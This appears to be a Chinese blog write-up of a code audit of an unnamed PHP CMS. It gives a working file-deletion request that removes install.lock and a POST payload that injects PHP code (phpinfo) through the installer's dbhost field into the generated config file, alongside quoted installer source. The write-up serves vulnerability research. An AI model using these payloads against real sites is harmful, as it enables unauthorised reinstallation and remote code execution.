记一次审计的奇思妙想

前言

最近在社区看文章的时候,发现大都数人在审计前的分析很详细,但是在找漏洞时太依靠工具,所以感觉应该还会存在一些漏洞,故有了本篇。

漏洞分析

在我们对该CMS进行安装后,我们发现:

安装后任然存在install目录,并且会生成一个install.lock文件来标记,使我们不能再次安装。
所以,我们只要找到一个任意文件删除漏洞就可以把这个文件删除掉,然后就能进行重装,所以在全局搜索unl ink函数后,在前台的/app/controller/kindeditor.class.phpdelete函数中发现了这段代码:

所以我们看到只要构造这样的payload:?ac=kindeditor_delete&pic=/app/data/install.lock就能够把install.lock删除然后就存在了重装漏洞了。




但是,一次审计,目的肯定是想要进行getshell,所以上述的漏洞当然不能满足我们的需求。但是我们都知道想要getshell,就只有传入一个能执行的马,但是该CMS对文件上传采用的是白名单,所以先暂时不对其进行考虑,这里,我们考虑到在install目录中,在对cms进行安装时,会存在一个写入生成默认配置的问题,所以,先打开/install.index.php,通读代码后发现大致利用代码如下:

$step = isset($\_GET\['step'\]) ? $\_GET\['step'\] : 1;......switch ($step) {......    case '4':        if (intval($\_GET\['install'\])) {            $n = intval($\_GET\['n'\]);            $arr = array();            $dbHost = trim($\_POST\['dbhost'\]);            $dbPort = trim($\_POST\['dbport'\]);            $dbName = trim($\_POST\['dbname'\]);            $dbHost = empty($dbPort) || $dbPort == 3306 ? $dbHost : $dbHost . ':' . $dbPort;            $dbUser = trim($\_POST\['dbuser'\]);            $dbPwd = trim($\_POST\['dbpw'\]);            $dbPrefix = empty($\_POST\['dbprefix'\]) ? 'tc_' : trim($\_POST\['dbprefix'\]);            $uname = trim($\_POST\['manager\_email'\]);            $password = trim($\_POST\['manager\_pwd'\]);            $webpath = trim($\_POST\['webpath'\]);            $randkey = uniqid(rand());            $db\_pconnect = 0;            $conn = @ mysql\_connect($dbHost, $dbUser, $dbPwd);            if (!$conn) {                $arr\['msg'\] = "连接数据库失败!";                die(json\_encode($arr));            }            mysql\_query("SET NAMES 'UTF8'");            $version = mysql\_get\_server\_info($conn);            if ($version < 4.1) {                $arr\['msg'\] = '数据库版本太低!';                die(json\_encode($arr));            }            if (!mysql\_select\_db($dbName, $conn)) {                //创建数据时同时设置编码                if (!mysql\_query("CREATE DATAB ASE IF NOT EXISTS `" . $dbName . "` DEFAULT CHARACTER SET UTF8;", $conn)) {                    $arr\['msg'\] = '数据库 ' . $dbName . ' 不存在,也没权限创建新的数据库!';                    die(json\_encode($arr));                }                if (empty($n)) {                    $arr\['n'\] = 1;                    $arr\['msg'\] = "成功创建数据库:{$dbName}<br>";                    die(json\_encode($arr));                }                mysql\_select\_db($dbName, $conn);            }            //读取数据文件            $sqldata = file\_get\_contents('./' . $sqlFile);            $password = md5($password);            $website = 'http://'. SITE\_URL;            $sqldata = str\_replace('{username}',$uname,$sqldata);            $sqldata = str\_replace('{password}',$password,$sqldata);            $sqldata = str\_replace('{time}',time(),$sqldata);            $sqldata = str\_replace('{website}',$website,$sqldata);            $sqldata = str\_replace('{webpath}',$webpath,$sqldata);            $sqldata = str\_replace('{dbPrefix}',$dbPrefix,$sqldata);            $sqlFormat = sql\_split($sqldata, $dbPrefix);            //执行SQL语句            $counts = count($sqlFormat);            for ($i = $n; $i < $counts; $i++) {                $sql = trim($sqlFormat\[$i\]);                if (strstr($sql, 'CREATE TABLE')) {                    preg\_match('/CREATE TABLE `(\[^ \]*)`/', $sql, $matches);                    mysql\_query("DROP TABLE IF EXISTS `$matches\[1\]");                    $ret = mysql\_query($sql);                    if ($ret) {                        $message = '<li><span class="correct\_span">&radic;</span>创建数据表' . $matches\[1\] . ',完成</li> ';                    } else {                        $message = '<li><span class="correct\_span error\_span">&radic;</span>创建数据表' . $matches\[1\] . ',失败</li>';                    }                    $i++;                    $arr = array('n' => $i, 'msg' => $message);                    die(json\_encode($arr));                } else {                    $ret = mysql\_query($sql);                    $message = '';                    $arr = array('n' => $i, 'msg' => $message);                }            }            if ($i == 999999) exit;            $message = '成功添加站点信息<br />成功写入配置文件<br>安装完成.';            //            $newmodelstr = "<?php \\n";            $newmodelstr .= " define('DBHOST', '" . $dbHost . "');\\n ";            $newmodelstr .= "define('DBUSER', '" . $dbUser . "');\\n ";            $newmodelstr .= "define('DBPWD', '" . $dbPwd . "');\\n ";            $newmodelstr .= "define('DBNAME', '" . $dbName . "');\\n ";            $newmodelstr .= "define('DBCODE', 'utf8');\\n ";            $newmodelstr .= "define('DBCONN', " . $db\_pconnect . ");\\n ";            $newmodelstr .= "define('MORESITE', false);\\n ";            $newmodelstr .= "define('USEMC', false);\\n ";            $newmodelstr .= "define('MCHOST', '127.0.0.1');\\n ";            $newmodelstr .= "define('MCPORT','11211');\\n ";            $newmodelstr .= "define('MCHOST2', '127.0.0.1');\\n ";            $newmodelstr .= "define('MCPORT2','11211');\\n ";            $newmodelstr .= "\\n?>\\n";            $targetFile = '../app/data/mysql.php';            @file\_put\_contents($targetFile, $newmodelstr);            $arr = array('n' => 999999, 'msg' => $message);            die(json\_encode($arr));        }        include\_once ("./templates/s4.php");        exit;}

因为代码过长,所以省略了没必要的代码,我们先从上述代码分析,发现我们要写入的内容中,我们能控制的变量只有$dbHost,$dbUser,$dbPwd,$dbName。而$dbUser,$dbPwd,$dbName却都是固定的,我们没法进行修改,所以我们更多的是考虑对$dbHost进行一些修改来搞,具体修改请继续往下看。
首先我们要让step等于4时,我们就能直接跳到case 4中执行,然后需要再给install参数以get方式赋值为1,然后后面的dbname这些就是数据库的用户名,这些都是正常的输入就好了,这里需要注意的地方只有两个点,第一个点是:

    case '4':        if (intval($\_GET\['install'\])) {            $n = intval($\_GET\['n'\]);            ...            if (empty($n)) {                    $arr\['n'\] = 1;                    $arr\['msg'\] = "成功创建数据库:{$dbName}<br>";                    die(json\_encode($arr));                }            ...            for ($i = $n; $i < $counts; $i++) {                $sql = trim($sqlFormat\[$i\]);                if (strstr($sql, 'CREATE TABLE')) {                    preg\_match('/CREATE TABLE `(\[^ \]*)`/', $sql, $matches);                    mysql\_query("DROP TABLE IF EXISTS `$matches\[1\]");                    $ret = mysql\_query($sql);                    if ($ret) {                        $message = '<li><span class="correct\_span">&radic;</span>创建数据表' . $matches\[1\] . ',完成</li> ';                    } else {                        $message = '<li><span class="correct\_span error\_span">&radic;</span>创建数据表' . $matches\[1\] . ',失败</li>';                    }                    $i++;                    $arr = array('n' => $i, 'msg' => $message);                    die(json\_encode($arr));                } else {                    $ret = mysql_query($sql);                    $message = '';                    $arr = array('n' => $i, 'msg' => $message);                }            }

这里,$n是对程序有影响的。首先$n不可以空,然后还有一个for循环需要用到它。这里我们可以直接让$n为一个很大的值,就可以跳出for循环就好了。
第二个点是

$conn = @ mysql\_connect($dbHost, $dbUser, $dbPwd);            if (!$conn) {                $arr\['msg'\] = "连接数据库失败!";                die(json\_encode($arr));            }

我们要连接数据库,所以我们要填写正确的内容。但是$dbHost, $dbUser, $dbPwd中后面两个是固定不能变的,所以我们考虑使用URL的锚点定位,所以我们这样构造:dbhost=127.0.0.1:3306#');phpinfo();就可以绕过去了。
所以最后的构造是:

GET:http://127.0.0.1:92/install/index.php?step=4&install=1&n=1111POST:dbhost=127.0.0.1:3306#');phpinfo();('111&dbname=wodecms&dbuser=root&dbpw=root&manager\_email=admin&manager\_pwd=admin123&webpath=/


后记

这个cms挺有意思的,开发在一些奇怪的地方很注意安全,但是再默认配置这里还存在修改数据库来改默认文件来,写入getshell的方式,这里就不多说了。有兴趣的小伙伴们可以自行下载该cms来进行审计!!!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

网安溦寀

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值